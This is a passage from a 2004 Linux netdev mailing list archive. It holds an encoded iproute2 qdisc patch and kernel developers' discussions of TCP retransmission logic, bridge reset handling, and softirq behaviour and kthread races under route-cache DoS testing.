CHARSET=US-ASCII; NAME=iproute2-dup Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: ATTACHMENT; FILENAME=iproute2-dup ZGlmZiAtdXByIGlwcm91dGUyLTIuNC43LW5vdy1zczAyMDExNi10cnkvdGMv TWFrZWZpbGUgaXByb3V0ZTItMi40Ljctbm93LXNzMDIwMTE2LXRyeS1kdXAv dGMvTWFrZWZpbGUNCi0tLSBpcHJvdXRlMi0yLjQuNy1ub3ctc3MwMjAxMTYt dHJ5L3RjL01ha2VmaWxlCTIwMDItMDEtMTAgMDU6MDg6MTguMDAwMDAwMDAw ICswMjAwDQorKysgaXByb3V0ZTItMi40Ljctbm93LXNzMDIwMTE2LXRyeS1k dXAvdGMvTWFrZWZpbGUJMjAwNC0wMy0yOSAxMTo1NjoxNS4wMDAwMDAwMDAg KzAzMDANCkBAIC0yNyw2ICsyNyw3IEBAIGVuZGlmDQogI1RDTU9EVUxFUyAr PSBxX2Nzei5vDQogI1RDTU9EVUxFUyArPSBxX2hwZnEubw0KICNUQ01PRFVM RVMgKz0gcV9oZnNjLm8NCitUQ01PRFVMRVMgKz0gcV9kdXAubw0KIA0KIFRD T0JKICs9ICQoVENNT0RVTEVTKQ0KIA0KT25seSBpbiBpcHJvdXRlMi0yLjQu Ny1ub3ctc3MwMjAxMTYtdHJ5LWR1cC90YzogcV9kdXAuYw0KZGlmZiAtdXBy IGlwcm91dGUyLTIuNC43LW5vdy1zczAyMDExNi10cnkvdGMvdGNfcWRpc2Mu YyBpcHJvdXRlMi0yLjQuNy1ub3ctc3MwMjAxMTYtdHJ5LWR1cC90Yy90Y19x ZGlzYy5jDQotLS0gaXByb3V0ZTItMi40Ljctbm93LXNzMDIwMTE2LXRyeS90 Yy90Y19xZGlzYy5jCTIwMDItMDEtMTUgMTM6MTU6MjMuMDAwMDAwMDAwICsw MjAwDQorKysgaXByb3V0ZTItMi40Ljctbm93LXNzMDIwMTE2LXRyeS1kdXAv dGMvdGNfcWRpc2MuYwkyMDA0LTAzLTI5IDExOjU2OjU2LjAwMDAwMDAwMCAr MDMwMA0KQEAgLTM2LDcgKzM2LDcgQEAgc3RhdGljIHZvaWQgdXNhZ2Uodm9p ZCkNCiAJZnByaW50ZihzdGRlcnIsICJcbiIpOw0KIAlmcHJpbnRmKHN0ZGVy ciwgIiAgICAgICB0YyBxZGlzYyBzaG93IFsgZGV2IFNUUklORyBdIFtpbmdy ZXNzXVxuIik7DQogCWZwcmludGYoc3RkZXJyLCAiV2hlcmU6XG4iKTsNCi0J ZnByaW50ZihzdGRlcnIsICJRRElTQ19LSU5EIDo9IHsgW3B8Yl1maWZvIHwg dGJmIHwgcHJpbyB8IGNicSB8IHJlZCB8IGV0Yy4gfVxuIik7DQorCWZwcmlu dGYoc3RkZXJyLCAiUURJU0NfS0lORCA6PSB7IFtwfGJdZmlmbyB8IHRiZiB8 IHByaW8gfCBjYnEgfCByZWQgfCBkdXAgfCBldGMuIH1cbiIpOw0KIAlmcHJp bnRmKHN0ZGVyciwgIk9QVElPTlMgOj0gLi4uIHRyeSB0YyBxZGlzYyBhZGQg PGRlc2lyZWQgUURJU0NfS0lORD4gaGVscFxuIik7DQogCWV4aXQoLTEpOw0K IH0NCg== ---1646943047-193734462-1080567496=:13656-- From davem@redhat.com Mon Mar 29 20:10:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 20:10:23 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2U4AKKO005321 for ; Mon, 29 Mar 2004 20:10:21 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2U4AJ1X026974; Mon, 29 Mar 2004 23:10:19 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2U4AIj30539; Mon, 29 Mar 2004 23:10:18 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2U49v1n026598; Mon, 29 Mar 2004 23:09:58 -0500 Date: Mon, 29 Mar 2004 20:09:54 -0800 From: "David S. Miller" To: "Tomar, Nagendra" Cc: linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: Re: BUG in tcp_timer.c:tcp_retransmit_timer() Message-Id: <20040329200954.7baac255.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4336 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 861 Lines: 27 On Mon, 29 Mar 2004 02:39:01 +0530 (IST) Nagendra Singh Tomar wrote: > While reading the code of tcp_retransmit_timer(), I came across something > which looks liks a BUG. It isn't, read below. > The following line > > if (tcp_retransmit_skb(sk, skb_peek(&sk->write_queue)) > 0) > > should correctly read as > > if (tcp_retransmit_skb(sk, skb_peek(&sk->write_queue)) < 0) Nope, it really does want greater than zero. Less than zero means memory allocation error or something like that, but this is not what this code wants to check for. Read the comment inside this code block, it says it is the code path for "local congestion" and the device output path indicates congestion via positive valued error codes. These codes are the NET_XMIT_* and NET_RX_* macros defined in linux/netdevice.h Thanks for the report though. From davem@redhat.com Mon Mar 29 20:30:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 20:30:57 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2U4UsKO009074 for ; Mon, 29 Mar 2004 20:30:55 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2U4Uo1X031742; Mon, 29 Mar 2004 23:30:50 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2U4Uoj01348; Mon, 29 Mar 2004 23:30:50 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2U4UT1n031135; Mon, 29 Mar 2004 23:30:29 -0500 Date: Mon, 29 Mar 2004 20:30:25 -0800 From: "David S. Miller" To: Bart De Schuymer Cc: netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [PATCH] don't require ip_forwarding for reset on a bridge Message-Id: <20040329203025.4d272b55.davem@redhat.com> In-Reply-To: <200403292314.12855.bdschuym@pandora.be> References: <200403292314.12855.bdschuym@pandora.be> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4337 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 527 Lines: 11 On Mon, 29 Mar 2004 23:14:12 +0200 Bart De Schuymer wrote: > Currently, to be able to send a reset in the FORWARD chain of iptables > for bridged traffic, ip forwarding must be enabled. This causes confusion > and in some situations people really don't want to enable ip forwarding. > The patch below lets the user send reset packets for bridged frames in > the FORWARD chain, with ip forwarding disabled (as long as there is a > route). I want an ACK from the netfilter folks before applying this one. From vatsa@in.ibm.com Mon Mar 29 21:05:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 21:05:50 -0800 (PST) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2U55lKO010588 for ; Mon, 29 Mar 2004 21:05:47 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2U54r5r128650; Tue, 30 Mar 2004 00:04:53 -0500 Received: from snowy.in.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2U54lJI350874; Mon, 29 Mar 2004 22:04:52 -0700 Received: by snowy.in.ibm.com (Postfix, from userid 500) id 6D4E024A41; Tue, 30 Mar 2004 10:36:14 +0530 (IST) Date: Tue, 30 Mar 2004 10:36:14 +0530 From: Srivatsa Vaddagiri To: Andrea Arcangeli Cc: Dipankar Sarma , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Robert Olsson , "Paul E. McKenney" , Dave Miller , Alexey Kuznetsov , Andrew Morton , rusty@au1.ibm.com Subject: Re: route cache DoS testing and softirqs Message-ID: <20040330050614.GA4669@in.ibm.com> Reply-To: vatsa@in.ibm.com References: <20040329184550.GA4540@in.ibm.com> <20040329222926.GF3808@dualathlon.random> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040329222926.GF3808@dualathlon.random> User-Agent: Mutt/1.4.1i X-archive-position: 4338 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vatsa@in.ibm.com Precedence: bulk X-list: netdev Content-Length: 1528 Lines: 59 On Tue, Mar 30, 2004 at 01:07:12AM +0000, Andrea Arcangeli wrote: > btw, the set_current_state(TASK_INTERRUPTIBLE) before > kthread_should_stop seems overkill w.r.t. smp locking, plus the code is > written in the wrong way around, all set_current_state are in the wrong > place. It's harmless but I cleaned up that bit as well. I think set_current_state(TASK_INTERRUPTIBLE) before kthread_should_stop() _is_ required, otherwise kthread_stop can fail to destroy a kthread. kthread_stop does: 1. kthread_stop_info.k = k; 2. wake_up_process(k); and if ksoftirqd were to do : a. while (!kthread_should_stop()) { b. __set_current_state(TASK_INTERRUPTIBLE); c. schedule(); } There is a (narrow) possibility here that a) happens _after_ 1) as well as b) _after_ 2). In such a case kthread_stop would have failed to wake up the kthread! The same race is avoided if ksoftirqd does: a. __set_current_state(TASK_INTERRUPTIBLE); b. while (!kthread_should_stop()) { c. schedule(); d. __set_current_state(TASK_INTERRUPTIBLE); } e. __set_current_state(TASK_RUNNING); In this case, even if b) happens _after_ 1) and c) _after_ 2), schedule simply returns immediately because task's state would have been set to TASK_RUNNING by 2). It goes back to the kthread_should_stop() check and exits! -- Thanks and Regards, Srivatsa Vaddagiri, Linux Technology Center, IBM Software Labs, Bangalore, INDIA - 560017 From nagendra_tomar@adaptec.com Mon Mar 29 21:24:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 21:25:26 -0800 (PST) Received: from magic.adaptec.com (magic.adaptec.com [216.52.22.17]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2U5OvKO011331 for ; Mon, 29 Mar 2004 21:24:57 -0800 Received: from redfish.adaptec.com (redfish.adaptec.com [162.62.50.11]) by magic.adaptec.com (8.11.6/8.11.6) with ESMTP id i2U5OiW13602; Mon, 29 Mar 2004 21:24:44 -0800 Received: from hyde2k01.adaptec.com (hyde2k01.adaptec.com [10.159.2.28]) by redfish.adaptec.com (8.11.6/8.11.6) with ESMTP id i2U5Og803238; Mon, 29 Mar 2004 21:24:43 -0800 Received: from cheetah.adaptec.com ([10.159.5.52]) by hyde2k01.adaptec.com with Microsoft SMTPSVC(5.0.2195.6713); Tue, 30 Mar 2004 10:54:40 +0530 Date: Mon, 29 Mar 2004 22:54:14 +0530 (IST) From: Nagendra Singh Tomar X-X-Sender: tomar@localhost.localdomain Reply-To: "Tomar, Nagendra" To: "David S. Miller" cc: "Tomar, Nagendra" , , Subject: Re: BUG in tcp_timer.c:tcp_retransmit_timer() In-Reply-To: <20040329200954.7baac255.davem@redhat.com> Message-ID: Organization: Adaptec MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-OriginalArrivalTime: 30 Mar 2004 05:24:40.0768 (UTC) FILETIME=[4D270C00:01C41617] X-archive-position: 4339 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: nagendra_tomar@adaptec.com Precedence: bulk X-list: netdev Content-Length: 1426 Lines: 49 Dave, Thats right. But what about the other cases of retransmission failures for which we are having a negative return (-ENOMEM, -EAGAIN, -EHOSTUNREACH etc). Even for these cases its not a good idea to artificially increment tp->retransmits, lest in some extreme case we might timeout a connection without a single packet going on the wire. Thanx, tomar On Mon, 29 Mar 2004, David S. Miller wrote: > On Mon, 29 Mar 2004 02:39:01 +0530 (IST) > Nagendra Singh Tomar wrote: > > > While reading the code of tcp_retransmit_timer(), I came across something > > which looks liks a BUG. > > It isn't, read below. > > > The following line > > > > if (tcp_retransmit_skb(sk, skb_peek(&sk->write_queue)) > 0) > > > > should correctly read as > > > > if (tcp_retransmit_skb(sk, skb_peek(&sk->write_queue)) < 0) > > Nope, it really does want greater than zero. Less than zero > means memory allocation error or something like that, but this is > not what this code wants to check for. Read the comment inside > this code block, it says it is the code path for "local congestion" > and the device output path indicates congestion via positive valued > error codes. > > These codes are the NET_XMIT_* and NET_RX_* macros defined in > linux/netdevice.h > > Thanks for the report though. > -- -- You have moved the mouse. Windows must be restarted for the changes to take effect. From vatsa@in.ibm.com Mon Mar 29 21:34:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 21:34:49 -0800 (PST) Received: from e3.ny.us.ibm.com (e3.ny.us.ibm.com [32.97.182.103]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2U5YjKO011893 for ; Mon, 29 Mar 2004 21:34:45 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e3.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2U5XqFV673152; Tue, 30 Mar 2004 00:33:52 -0500 Received: from snowy.in.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2U5Y75X106546; Tue, 30 Mar 2004 00:34:10 -0500 Received: by snowy.in.ibm.com (Postfix, from userid 500) id 1984624A41; Tue, 30 Mar 2004 11:05:15 +0530 (IST) Date: Tue, 30 Mar 2004 11:05:15 +0530 From: Srivatsa Vaddagiri To: Andrea Arcangeli Cc: Dipankar Sarma , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Robert Olsson , "Paul E. McKenney" , Dave Miller , Alexey Kuznetsov , Andrew Morton , rusty@au1.ibm.com Subject: Re: route cache DoS testing and softirqs Message-ID: <20040330053515.GA4815@in.ibm.com> Reply-To: vatsa@in.ibm.com References: <20040329184550.GA4540@in.ibm.com> <20040329222926.GF3808@dualathlon.random> <20040330050614.GA4669@in.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040330050614.GA4669@in.ibm.com> User-Agent: Mutt/1.4.1i X-archive-position: 4340 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vatsa@in.ibm.com Precedence: bulk X-list: netdev Content-Length: 1196 Lines: 44 On Tue, Mar 30, 2004 at 10:36:14AM +0530, Srivatsa Vaddagiri wrote: > kthread_stop does: > > 1. kthread_stop_info.k = k; > 2. wake_up_process(k); > > and if ksoftirqd were to do : > > a. while (!kthread_should_stop()) { > b. __set_current_state(TASK_INTERRUPTIBLE); > c. schedule(); > } > > > There is a (narrow) possibility here that a) happens _after_ 1) as well as > b) _after_ 2). hmm .. I meant a) happening _before_ 1) and b) happening _after_ 2) .. > > a. __set_current_state(TASK_INTERRUPTIBLE); > b. while (!kthread_should_stop()) { > c. schedule(); > d. __set_current_state(TASK_INTERRUPTIBLE); > } > > e. __set_current_state(TASK_RUNNING); > > In this case, even if b) happens _after_ 1) and c) _after_ 2), Again I meant "even if b) happens _before_ 1) and c) _after_ 2) !! > schedule simply returns immediately because task's state would have been set > to TASK_RUNNING by 2). It goes back to the kthread_should_stop() check and > exits! -- Thanks and Regards, Srivatsa Vaddagiri, Linux Technology Center, IBM Software Labs, Bangalore, INDIA - 560017 From davem@redhat.com Mon Mar 29 21:51:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 21:51:28 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2U5pOKO012526 for ; Mon, 29 Mar 2004 21:51:26 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2U5pM1X017987; Tue, 30 Mar 2004 00:51:22 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2U5pMj15668; Tue, 30 Mar 2004 00:51:22 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2U5p11n019464; Tue, 30 Mar 2004 00:51:01 -0500 Date: Mon, 29 Mar 2004 21:50:57 -0800 From: "David S. Miller" To: "Tomar, Nagendra" Cc: linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: Re: BUG in tcp_timer.c:tcp_retransmit_timer() Message-Id: <20040329215057.3fd40210.davem@redhat.com> In-Reply-To: References: <20040329200954.7baac255.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4341 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 570 Lines: 11 On Mon, 29 Mar 2004 22:54:14 +0530 (IST) Nagendra Singh Tomar wrote: > Thats right. But what about the other cases of retransmission > failures for which we are having a negative return (-ENOMEM, -EAGAIN, > -EHOSTUNREACH etc). Even for these cases its not a good idea to > artificially increment tp->retransmits, lest in some extreme case we might > timeout a connection without a single packet going on the wire. That's just like the packet getting dropped at the next hop, and not the case this branch of code intends to deal with. From nagendra_tomar@adaptec.com Tue Mar 30 00:41:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 00:41:31 -0800 (PST) Received: from magic.adaptec.com (magic.adaptec.com [216.52.22.17]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2U8fTKO019075 for ; Tue, 30 Mar 2004 00:41:29 -0800 Received: from redfish.adaptec.com (redfish.adaptec.com [162.62.50.11]) by magic.adaptec.com (8.11.6/8.11.6) with ESMTP id i2U8fGW17007; Tue, 30 Mar 2004 00:41:16 -0800 Received: from hyde2k01.adaptec.com (hyde2k01.adaptec.com [10.159.2.28]) by redfish.adaptec.com (8.11.6/8.11.6) with ESMTP id i2U8fF826497; Tue, 30 Mar 2004 00:41:15 -0800 Received: from cheetah.adaptec.com ([10.159.5.52]) by hyde2k01.adaptec.com with Microsoft SMTPSVC(5.0.2195.6713); Tue, 30 Mar 2004 14:11:12 +0530 Date: Tue, 30 Mar 2004 02:10:45 +0530 (IST) From: Nagendra Singh Tomar X-X-Sender: tomar@localhost.localdomain Reply-To: "Tomar, Nagendra" To: "David S. Miller" cc: "Tomar, Nagendra" , , Subject: Re: BUG in tcp_timer.c:tcp_retransmit_timer() In-Reply-To: <20040329215057.3fd40210.davem@redhat.com> Message-ID: Organization: Adaptec MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-OriginalArrivalTime: 30 Mar 2004 08:41:12.0898 (UTC) FILETIME=[C1CF4A20:01C41632] X-archive-position: 4342 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: nagendra_tomar@adaptec.com Precedence: bulk X-list: netdev Content-Length: 1149 Lines: 33 On Mon, 29 Mar 2004, David S. Miller wrote: > On Mon, 29 Mar 2004 22:54:14 +0530 (IST) > Nagendra Singh Tomar wrote: > > > Thats right. But what about the other cases of retransmission > > failures for which we are having a negative return (-ENOMEM, -EAGAIN, > > -EHOSTUNREACH etc). Even for these cases its not a good idea to > > artificially increment tp->retransmits, lest in some extreme case we might > > timeout a connection without a single packet going on the wire. > > That's just like the packet getting dropped at the next hop, > and not the case this branch of code intends to deal with. > I understand your point, but we should try our best to retransmit uptill the "max retransmission count". Packets can be dropped at any hop, but thats excatly why TCP doess a large number of retransmissions, before giving up. Whats wrong in having the check as if (tcp_retransmit_skb(sk, skb_peek(&sk->write_queue)) != 0) so that we take care of both the cases. Does it have any bad effects ? Thanx, tomar -- You have moved the mouse. Windows must be restarted for the changes to take effect. From yusufg@outblaze.com Tue Mar 30 06:24:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 06:24:23 -0800 (PST) Received: from corpmail.outblaze.com (corpmail.outblaze.com [203.86.166.82]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2UEO1KO006789 for ; Tue, 30 Mar 2004 06:24:01 -0800 Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by corpmail.outblaze.com (Postfix) with ESMTP id D147237B2C for ; Tue, 30 Mar 2004 14:23:58 +0000 (GMT) Received: from yusufg.portal2.com (210-177-227-130.outblaze.com [210.177.227.130]) by corpmail.outblaze.com (Postfix) with SMTP id 6738316DD8B for ; Tue, 30 Mar 2004 14:23:57 +0000 (GMT) Received: (qmail 17761 invoked by uid 500); 30 Mar 2004 14:23:54 -0000 Date: Tue, 30 Mar 2004 22:23:54 +0800 From: Yusuf Goolamabbas To: netdev@oss.sgi.com Subject: Luca Deri's paper: Improving Passive Packet Capture: Beyond Device Polling Message-ID: <20040330142354.GA17671@outblaze.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2i X-AntiVirus: checked by Vexira MailArmor (version: 2.0.1.11; VAE: 6.24.0.7; VDF: 6.24.0.76; host: corpmail.outblaze.com) X-archive-position: 4343 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yusufg@outblaze.com Precedence: bulk X-list: netdev Content-Length: 193 Lines: 8 Maybe this might be of interest to netdev hackers Luca Deri's paper Improving Passive Packet Capture: Beyond Device Polling http://www.net-security.org/dl/articles/Ring.pdf Regards, Yusuf From dipankar@in.ibm.com Tue Mar 30 06:45:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 06:45:17 -0800 (PST) Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2UEj5KO007614 for ; Tue, 30 Mar 2004 06:45:05 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e2.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2UEi6nl456242; Tue, 30 Mar 2004 09:44:06 -0500 Received: from soprano.in.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2UEiKUk105762; Tue, 30 Mar 2004 09:44:24 -0500 Received: by soprano.in.ibm.com (Postfix, from userid 500) id C3A697C52A; Tue, 30 Mar 2004 20:13:24 +0530 (IST) Date: Tue, 30 Mar 2004 20:13:24 +0530 From: Dipankar Sarma To: Andrea Arcangeli Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Robert Olsson , "Paul E. McKenney" , Dave Miller , Alexey Kuznetsov , Andrew Morton Subject: Re: route cache DoS testing and softirqs Message-ID: <20040330144324.GA3778@in.ibm.com> Reply-To: dipankar@in.ibm.com References: <20040329184550.GA4540@in.ibm.com> <20040329222926.GF3808@dualathlon.random> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040329222926.GF3808@dualathlon.random> User-Agent: Mutt/1.4.1i X-archive-position: 4344 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dipankar@in.ibm.com Precedence: bulk X-list: netdev Content-Length: 1988 Lines: 37 On Tue, Mar 30, 2004 at 12:29:26AM +0200, Andrea Arcangeli wrote: > the only real starvation you can claim is in presence of an _hard_irq > flood, not a softirq one. Ingo had some patch for the hardirq > throttling, unfortunately those pathes were mixed with irrelevant > softirq changes, but the hardirq part of these patches was certainly > valid (though in most business environments I imagine if one is under > hardirq attack in the local ethernet, the last worry is probably the > throttling of hardirqs ;) Hmm.. What about firewalls and routers on the internet ? Shouldn't they care ? > So you're simply asking the ksoftirqd offloading to become more > aggressive, and to make the softirq even more scheduler friendly, > something I never had a reason to do yet, since ksoftirqd already > eliminates the starvation issue, and secondly because I did care about > the performance of softirq first (delaying softirqs is derimental for > performance if it happens frequently w/o this kind of flood-load). I > even got a patch for 2.4 doing this kind of changes to the softirqd for > similar reasons on embedded systems where the cpu spent on the softirqs > would been way too much under attack. I had to back it out since it was > causing drop of performance in specweb or something like that and nobody > but the embdedded people needed it. But now here we've a case where it > makes even more sense since the hardirq aren't strictly related to this > load, this load with the rcu-routing-cache is just about letting the > scheduler go together witn an intensive softirq load. So we can try > again with a truly userspace throttling of the softirqs (and in 2.4 I > didn't change the nice from 19 to -20 so maybe this will just work > perfectly). Tried it and it didn't work. I still got dst cache overflows. I will dig out more numbers about what what happened - is ksoftirqd a pig still or we are mostly doing short softirq bursts on the back of a hardirq flood. Thanks Dipankar From andrea@suse.de Tue Mar 30 07:11:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 07:12:04 -0800 (PST) Received: from dualathlon.random (ppp-217-133-42-200.cust-adsl.tiscali.it [217.133.42.200]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2UFBrKO008400 for ; Tue, 30 Mar 2004 07:11:54 -0800 Received: by dualathlon.random (Postfix, from userid 500) id A6B603AC2B; Tue, 30 Mar 2004 17:11:48 +0200 (CEST) Date: Tue, 30 Mar 2004 17:11:48 +0200 From: Andrea Arcangeli To: Srivatsa Vaddagiri Cc: Dipankar Sarma , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Robert Olsson , "Paul E. McKenney" , Dave Miller , Alexey Kuznetsov , Andrew Morton , rusty@au1.ibm.com Subject: Re: route cache DoS testing and softirqs Message-ID: <20040330151148.GX3808@dualathlon.random> References: <20040329184550.GA4540@in.ibm.com> <20040329222926.GF3808@dualathlon.random> <20040330050614.GA4669@in.ibm.com> <20040330053515.GA4815@in.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040330053515.GA4815@in.ibm.com> User-Agent: Mutt/1.4.1i X-GPG-Key: 1024D/68B9CB43 13D9 8355 295F 4823 7C49 C012 DFA1 686E 68B9 CB43 X-PGP-Key: 1024R/CB4660B9 CC A0 71 81 F4 A0 63 AC C0 4B 81 1D 8C 15 C8 E5 X-archive-position: 4345 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: andrea@suse.de Precedence: bulk X-list: netdev Content-Length: 1786 Lines: 47 On Tue, Mar 30, 2004 at 11:05:15AM +0530, Srivatsa Vaddagiri wrote: > On Tue, Mar 30, 2004 at 10:36:14AM +0530, Srivatsa Vaddagiri wrote: > > kthread_stop does: > > > > 1. kthread_stop_info.k = k; > > 2. wake_up_process(k); > > > > and if ksoftirqd were to do : > > > > a. while (!kthread_should_stop()) { > > b. __set_current_state(TASK_INTERRUPTIBLE); > > c. schedule(); > > } > > > > > > There is a (narrow) possibility here that a) happens _after_ 1) as well as > > b) _after_ 2). > > hmm .. I meant a) happening _before_ 1) and b) happening _after_ 2) .. > > > > > a. __set_current_state(TASK_INTERRUPTIBLE); > > b. while (!kthread_should_stop()) { > > c. schedule(); > > d. __set_current_state(TASK_INTERRUPTIBLE); > > } > > > > e. __set_current_state(TASK_RUNNING); > > > > In this case, even if b) happens _after_ 1) and c) _after_ 2), > > Again I meant "even if b) happens _before_ 1) and c) _after_ 2) !! > > > schedule simply returns immediately because task's state would have been set > > to TASK_RUNNING by 2). It goes back to the kthread_should_stop() check and > > exits! you're right, I had a private email exchange with Andrew about this yesterday, he promptly pointed it out too. But my point is that the previous 